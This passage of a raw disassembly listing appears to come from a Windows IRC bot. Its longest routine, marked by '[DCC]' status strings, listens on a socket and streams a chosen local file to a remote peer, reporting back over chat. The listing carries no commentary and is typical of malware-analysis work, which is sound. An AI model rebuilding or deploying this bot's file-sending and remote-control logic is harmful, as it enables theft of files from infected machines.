call sub_4019DD lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BC78 push edi lea ecx, [esp+18h] call sub_4014D3 mov ebx, 2 push 1 push offset asc_444600 ; " " lea eax, [esp+4Ch] push ebx push eax mov ecx, esi mov [esp+74h], ebx call sub_4011EA push eax push edi mov ecx, ebp mov byte ptr [esp+6Ch], 3 call sub_401F50 lea ecx, [esp+44h] mov [esp+64h], bl call sub_401226 lea ecx, [esp+14h] call sub_4017EE push eax mov ecx, edi call sub_4017EE push eax lea ecx, [edi+1Eh] call sub_4017EE push eax push offset aSSWasS ; "%s = \"%s\" [was \"%s\"]" lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 20h lea ecx, [esp+14h] mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_40BC7A ; --------------------------------------------------------------------------- loc_40BC78: ; CODE XREF: ___:0040BB40j ; ___:0040BB97j ... xor al, al loc_40BC7A: ; CODE XREF: ___:0040BAEDj ; ___:0040BB80j ... mov ecx, [esp+5Ch] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 58h retn 4 ; --------------------------------------------------------------------------- db 90h db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BD50 proc near ; CODE XREF: sub_401C08j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_4021EE sub_40BD50 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BD90 proc near ; CODE XREF: sub_40155Fj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C85 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40145B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E mov edx, [esi+4] mov ecx, esi push edx call sub_401FEB sub_40BD90 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE00 proc near ; CODE XREF: sub_40145Bj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_402117 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_4014B0 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_40BE00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE40 proc near ; CODE XREF: sub_401C85j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_4014B0 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_40BE40 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BE70 proc near ; CODE XREF: sub_401915j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401C85 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401C5D sub_40BE70 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BEB0 proc near ; CODE XREF: sub_401C03j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C85 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40145B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E pop esi add esp, 0Ch retn sub_40BEB0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF00 proc near ; CODE XREF: sub_401546j push esi mov esi, ecx call sub_402158 mov eax, esi pop esi retn sub_40BF00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF20 proc near ; CODE XREF: sub_401F78j mov eax, [ecx] push eax call sub_401848 add esp, 4 retn sub_40BF20 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF40 proc near ; CODE XREF: sub_40133Ej push esi mov esi, ecx mov eax, [esi] push eax call sub_402117 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_40BF40 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF70 proc near ; CODE XREF: sub_40136Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401CFD neg al sbb eax, eax inc eax retn 4 sub_40BF70 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BFA0 proc near ; CODE XREF: sub_401C5Dj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4016AE mov edi, eax push edi call sub_40215D mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_4021EE sub_40BFA0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_40215D push edi mov [eax], ebx call sub_40215D mov edi, [eax] push edi call sub_40215D mov ecx, [eax] push ecx call sub_402117 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401848 add esp, 4 mov ecx, esi push eax call sub_401F32 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_4014B0 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C040 proc near ; CODE XREF: sub_40124Ej var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jz short loc_40C09A loc_40C058: ; CODE XREF: sub_40C040+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401B9A mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40106E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jnz short loc_40C058 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_40C09A: ; CODE XREF: sub_40C040+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_40C040 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C0D0 proc near ; CODE XREF: sub_4021EEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401569 sub_40C0D0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_40C0E5 mov edi, esi loc_40C0E5: ; CODE XREF: ___:0040C0E1j push esi call sub_402117 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40C0FA mov edi, esi loc_40C0FA: ; CODE XREF: ___:0040C0F6j push esi call sub_40215D add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C120 proc near ; CODE XREF: sub_401FEBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_402077 sub_40C120 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C140 proc near ; CODE XREF: sub_402117j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_40C140 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C160 proc near ; CODE XREF: sub_401848j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_40C160 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C180 proc near ; CODE XREF: sub_402158j mov eax, ecx retn sub_40C180 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C1A0 proc near ; CODE XREF: sub_4014B0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40105A mov eax, esi pop esi retn 4 sub_40C1A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C1D0 proc near ; CODE XREF: sub_401CFDj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_40C1D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C200 proc near ; CODE XREF: sub_40106Ej var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401B9A mov ecx, eax call sub_4016AE mov esi, eax push esi call sub_402117 push esi mov ebx, eax call sub_40215D mov ecx, [eax] push ecx call sub_402117 mov edx, [ebx] push esi mov [eax], edx call sub_40215D push esi mov ebx, eax call sub_402117 mov eax, [eax] push eax call sub_40215D mov ecx, [ebx] push esi mov [eax], ecx call sub_401848 add esp, 1Ch mov ecx, edi push eax call sub_401221 push esi mov ecx, edi call sub_401FEB sub_40C200 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2C0 proc near ; CODE XREF: sub_40215Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_40C2C0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C2E0 proc near ; CODE XREF: sub_401569j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_40C2E0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C310 proc near ; CODE XREF: sub_402077j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_40C310 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C330 proc near ; CODE XREF: sub_401F32j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4011AE add esp, 8 retn 8 sub_40C330 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C360 proc near ; CODE XREF: sub_40105Aj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_40C360 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C380 proc near ; CODE XREF: sub_4016AEj mov eax, [ecx] retn sub_40C380 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C3A0 proc near ; CODE XREF: sub_401B9Aj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40133E mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_40C3A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C3D0 proc near ; CODE XREF: sub_401221j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_2 pop ecx retn 4 sub_40C3D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C3F0 proc near ; CODE XREF: sub_4011AEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40C40B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40C40B: ; CODE XREF: sub_40C3F0+11j retn sub_40C3F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C440 proc near ; CODE XREF: sub_401BF9j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40C440 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 4 push 0Eh push 5 push 13h push 4Fh push 3 push 3 lea eax, [esp+48h+var_24] push 4 mov esi, ecx push eax call sub_4019C4 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_40168B add esi, 4 push eax push esi mov ecx, offset dword_449118 call sub_40159B sub_40C440 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C4E0 proc near ; CODE XREF: sub_40171Cj var_AB4 = dword ptr -0AB4h var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = byte ptr -0A9Ch var_A98 = byte ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = dword ptr -0A90h var_A8C = dword ptr -0A8Ch var_A88 = dword ptr -0A88h var_A84 = dword ptr -0A84h var_A78 = byte ptr -0A78h var_A74 = dword ptr -0A74h var_A70 = byte ptr -0A70h var_A6C = byte ptr -0A6Ch var_A5C = byte ptr -0A5Ch var_A54 = byte ptr -0A54h var_A3C = byte ptr -0A3Ch var_A38 = byte ptr -0A38h var_A24 = byte ptr -0A24h var_A1C = dword ptr -0A1Ch var_A18 = dword ptr -0A18h var_910 = byte ptr -910h var_710 = byte ptr -710h var_510 = byte ptr -510h var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40C4E0 push eax mov large fs:0, esp sub esp, 0AA0h add ecx, 4 push ebx push ebp push esi push edi call sub_4014DD mov ebp, [esp+0ABCh+arg_0] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_40CA2E lea ecx, [esp+0ABCh+var_A78] call sub_401091 push 1 push offset asc_444600 ; " " lea eax, [esp+0AC4h+var_A3C] xor esi, esi push 1 push eax mov ecx, ebp mov [esp+0ACCh+var_4], esi call sub_4011EA push eax lea ecx, [esp+0AC0h+var_A70] mov byte ptr [esp+0AC0h+var_4], 1 call sub_40202C lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 push esi push 1 push 2 mov [esp+0AC8h+var_AA8], esi mov [esp+0AC8h+var_AA4], esi mov [esp+0AC8h+var_A90], esi call near ptr 71AB3B91h nop mov ebx, eax cmp ebx, 0FFFFFFFFh mov [esp+0ABCh+var_AAC], ebx jnz short loc_40C5AC lea ecx, [esp+0ABCh+var_710] push offset aDccFailedToCre ; "[DCC]: Failed to create socket." push ecx nop call sub_5FADE9 add esp, 8 jmp loc_40C9D5 ; --------------------------------------------------------------------------- loc_40C5AC: ; CODE XREF: sub_40C4E0+AFj xor edx, edx push esi mov [esp+0AC0h+var_AA0], edx mov word ptr [esp+0AC0h+var_AA0], 2 mov dword ptr [esp+0AC0h+var_A9C], edx mov dword ptr [esp+0AC0h+var_A98], edx mov [esp+0AC0h+var_A94], edx nop call near ptr 71AB2B66h mov word ptr [esp+0ABCh+var_AA0+2], ax lea eax, [esp+0ABCh+var_AA0] push 10h push eax push ebx mov dword ptr [esp+0AC8h+var_A9C], esi nop call near ptr 71AB3E00h test eax, eax jz short loc_40C5FA lea ecx, [ebp+69h] call sub_4014DD push eax push offset aDccFailedToBin ; "dcc: failed to bind socket" jmp loc_40C6A0 ; --------------------------------------------------------------------------- loc_40C5FA: ; CODE XREF: sub_40C4E0+105j lea eax, [esp+0ABCh+var_A88] lea ecx, [esp+0ABCh+var_AA0] push eax push ecx push ebx mov [esp+0AC8h+var_A88], 10h nop call near ptr 71AB951Eh mov edx, [esp+0ABCh+var_AA0+2] push edx nop call near ptr 71AB2B66h lea ecx, [esp+0ABCh+var_A70] mov [esp+0ABCh+var_A8C], eax call sub_4014DD mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+0ABCh+var_910] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 xor edx, edx rep movsb loc_40C653: ; CODE XREF: sub_40C4E0+1A3j mov al, [esp+edx+0ABCh+var_910] cmp al, 20h jnz short loc_40C665 mov eax, 5Fh jmp short loc_40C668 ; --------------------------------------------------------------------------- loc_40C665: ; CODE XREF: sub_40C4E0+17Cj movsx eax, al loc_40C668: ; CODE XREF: sub_40C4E0+183j mov [esp+edx+0ABCh+var_510], al lea edi, [esp+0ABCh+var_910] or ecx, 0FFFFFFFFh xor eax, eax inc edx repne scasb not ecx dec ecx cmp edx, ecx jbe short loc_40C653 push 1 push ebx nop call near ptr 71AB88D3h test eax, eax jz short loc_40C6BD lea ecx, [ebp+69h] call sub_4014DD push eax push offset aDccFailedToOpe ; "dcc: failed to open socket" loc_40C6A0: ; CODE XREF: sub_40C4E0+115j mov cl, [ebp+94h] mov dl, [ebp+93h] push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 jmp loc_40C9CF ; --------------------------------------------------------------------------- loc_40C6BD: ; CODE XREF: sub_40C4E0+1B0j push 0 push 0 push 3 push 0 push 1 push 80000000h lea ecx, [esp+0AD4h+var_A70] call sub_4017EE push eax nop call near ptr 2880000h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C724 lea ecx, [ebp+69h] call sub_4014DD mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccFileDoesnTE ; "dcc: file doesn't exist" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 lea edx, [esp+0ABCh+var_710] push offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist." push edx call sub_5FADE9 nop add esp, 8 jmp loc_40C9CF ; --------------------------------------------------------------------------- loc_40C724: ; CODE XREF: sub_40C4E0+201j push 0 push esi call near ptr 2870B6Fh nop lea ecx, [esp+0ABCh+var_A54] mov ebx, eax call sub_40142E mov eax, [esp+0ABCh+var_A8C] push ebx and eax, 0FFFFh mov byte ptr [esp+0AC0h+var_4], 2 push eax mov eax, dword_4D808D push eax call sub_401E10 add esp, 4 push eax nop call near ptr 71AB2BF4h push eax call near ptr 71AB2BC0h nop push eax lea ecx, [esp+0AD0h+var_A78] call sub_4017EE push eax lea ecx, [esp+0AD4h+var_A5C] push offset dword_444A08 push ecx call sub_40102D add esp, 18h lea ecx, [ebp+15h] call sub_40168B push eax lea ecx, [esp+0AC8h+var_A5C] call sub_4014DD mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 mov edi, [esp+0AC4h+var_AB4] lea ecx, [esp+0AC4h+var_A88] push ecx push 0 lea edx, [esp+0ACCh+var_A1C] push 0 push edx push 0 mov [esp+0AD8h+var_A88], 3Ch mov [esp+0AD8h+var_A84], 0 mov [esp+0AD8h+var_A18], edi mov [esp+0AD8h+var_A1C], 1 call near ptr 71AB2DC0h nop test eax, eax jg short loc_40C81D lea ecx, [ebp+69h] call sub_4014DD mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccTimeout ; "dcc: timeout" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 jmp loc_40C9BA ; --------------------------------------------------------------------------- loc_40C81D: ; CODE XREF: sub_40C4E0+310j lea edx, [esp+0ABCh+var_A84] lea eax, [esp+0ABCh+var_A24] push edx push eax push edi mov [esp+0AC8h+var_A84], 10h nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh mov [esp+0ABCh+var_A74], eax jnz short loc_40C86D lea ecx, [ebp+69h] call sub_4014DD mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push offset aDccUnableToOpe ; "dcc: unable to open socket" push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 jmp loc_40C9BA ; --------------------------------------------------------------------------- loc_40C86D: ; CODE XREF: sub_40C4E0+360j push edi nop call near ptr 71AB9639h test ebx, ebx jz loc_40C925 loc_40C87C: ; CODE XREF: sub_40C4E0+438j mov ebp, 400h cmp ebx, ebp jge short loc_40C887 mov ebp, ebx loc_40C887: ; CODE XREF: sub_40C4E0+3A3j mov edx, ebx xor eax, eax neg edx push 2 mov ecx, 100h lea edi, [esp+0AC0h+var_40C] push eax push edx push esi rep stosd nop call near ptr 2870000h lea eax, [esp+0ABCh+var_A90] push 0 push eax lea ecx, [esp+0AC4h+var_40C] push ebp push ecx push esi nop call near ptr 286041Fh mov eax, [esp+0ABCh+var_A74] push 0 lea edx, [esp+0AC0h+var_40C] push ebp push edx push eax nop call near ptr 71AB428Ah mov ecx, [esp+0ABCh+var_AA8] mov ebp, [esp+0ABCh+var_AA4] mov edi, eax push 0 cdq add ecx, eax push 400h mov [esp+0AC4h+var_AA8], ecx lea ecx, [esp+0AC4h+var_40C] adc ebp, edx mov edx, [esp+0AC4h+var_A74] push ecx push edx mov [esp+0ACCh+var_AA4], ebp call near ptr 71AB615Ah nop cmp eax, 1 jl loc_40C9EE cmp edi, 1 jl loc_40C9EE sub ebx, edi jnz loc_40C87C mov ebp, [esp+0ABCh+arg_0] loc_40C925: ; CODE XREF: sub_40C4E0+396j push esi nop call near ptr 2860000h lea ecx, [esp+0AB8h+var_A38] call sub_40142E mov eax, [esp+0AB8h+var_AA0] mov ecx, [esp+0AB8h+var_AA4] push eax push ecx lea ecx, [esp+0AC0h+var_A6C] mov byte ptr [esp+0AC0h], 3 call sub_4014DD mov edx, [esp+0AC0h+var_A1C] push eax push edx nop call near ptr 71AB3F41h push eax lea eax, [esp+0ACCh+var_A3C] push offset aDccCompleteToS ; "dcc: complete to %s, file: %s, (%d byte"... push eax call sub_40102D add esp, 18h lea ecx, [ebp+69h] call sub_4014DD push eax lea ecx, [esp+0AC0h+var_A3C] call sub_4014DD mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 2 call sub_401226 loc_40C9BA: ; CODE XREF: sub_40C4E0+338j ; sub_40C4E0+388j lea ecx, [esp+0ABCh+var_A54] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 mov ebx, [esp+0ABCh+var_AAC] loc_40C9CF: ; CODE XREF: sub_40C4E0+1D8j ; sub_40C4E0+23Fj xor esi, esi cmp ebx, esi jbe short loc_40C9DC loc_40C9D5: ; CODE XREF: sub_40C4E0+C7j push ebx nop call near ptr 71AB9639h loc_40C9DC: ; CODE XREF: sub_40C4E0+4F3j mov eax, [esp+0ABCh+var_A74] push eax nop call near ptr 71AB9639h push esi nop call near ptr 2850405h loc_40C9EE: ; CODE XREF: sub_40C4E0+427j ; sub_40C4E0+430j mov esi, [esp+0ABCh+arg_0] lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aDccSocketError ; "dcc: socket error" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 mov edx, [esp+0ABCh+var_A74] push edx nop call near ptr 71AB9639h push 1 nop call near ptr 2850405h loc_40CA2E: ; CODE XREF: sub_40C4E0+39j mov ecx, [esp+0ABCh+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 0AACh retn 4 sub_40C4E0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CBB0 proc near ; CODE XREF: sub_401091j push esi mov esi, ecx lea ecx, [esi+8] call sub_40142E mov eax, esi pop esi retn sub_40CBB0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CBD0: ; CODE XREF: ___:loc_401B13j add ecx, 8 jmp sub_401226 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40CBF0 proc near ; CODE XREF: sub_402063j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CBF0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 0Ch push 9 lea eax, [esp+38h+var_24] push 6 mov esi, ecx push eax call sub_4019C4 add esp, 18h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449118 call sub_40159B sub_40CBF0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CC90 proc near ; CODE XREF: sub_401BB8j var_279 = byte ptr -279h var_278 = byte ptr -278h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = byte ptr -258h var_247 = byte ptr -247h var_232 = byte ptr -232h var_221 = dword ptr -221h var_21D = dword ptr -21Dh var_219 = dword ptr -219h var_215 = dword ptr -215h var_211 = dword ptr -211h var_20C = byte ptr -20Ch var_208 = byte ptr -208h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40CC90 push eax mov large fs:0, esp sub esp, 270h add ecx, 4 push esi call sub_4014DD mov esi, [esp+280h+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_40CE91 push ebx lea ecx, [esp+284h+var_260] call sub_40199C lea eax, [esi+2Ah] xor ebx, ebx push eax lea ecx, [esp+288h+var_25C] mov [esp+288h+var_4], ebx mov [esp+288h+var_260], ebx call sub_40202C push 1 push offset asc_444600 ; " " lea ecx, [esp+28Ch+var_278] push 2 push ecx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 1 call sub_4017EE push eax lea ecx, [esp+288h+var_247] call sub_401A9B lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 push 1 push offset asc_444600 ; " " lea edx, [esp+28Ch+var_278] push 3 push edx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 2 call sub_4017EE push eax lea ecx, [esp+288h+var_232] call sub_401A9B lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 mov edx, [esp+284h+var_221] xor eax, eax mov al, [esi+94h] xor ecx, ecx mov cl, [esi+93h] mov [esp+284h+var_219], eax lea eax, [esp+284h+var_278] mov [esp+284h+var_215], ecx push edx push eax lea ecx, [esp+28Ch+var_232] mov [esp+28Ch+var_21D], ebx mov [esp+28Ch+var_211], 1 call sub_401E47 push offset asc_444ADC ; 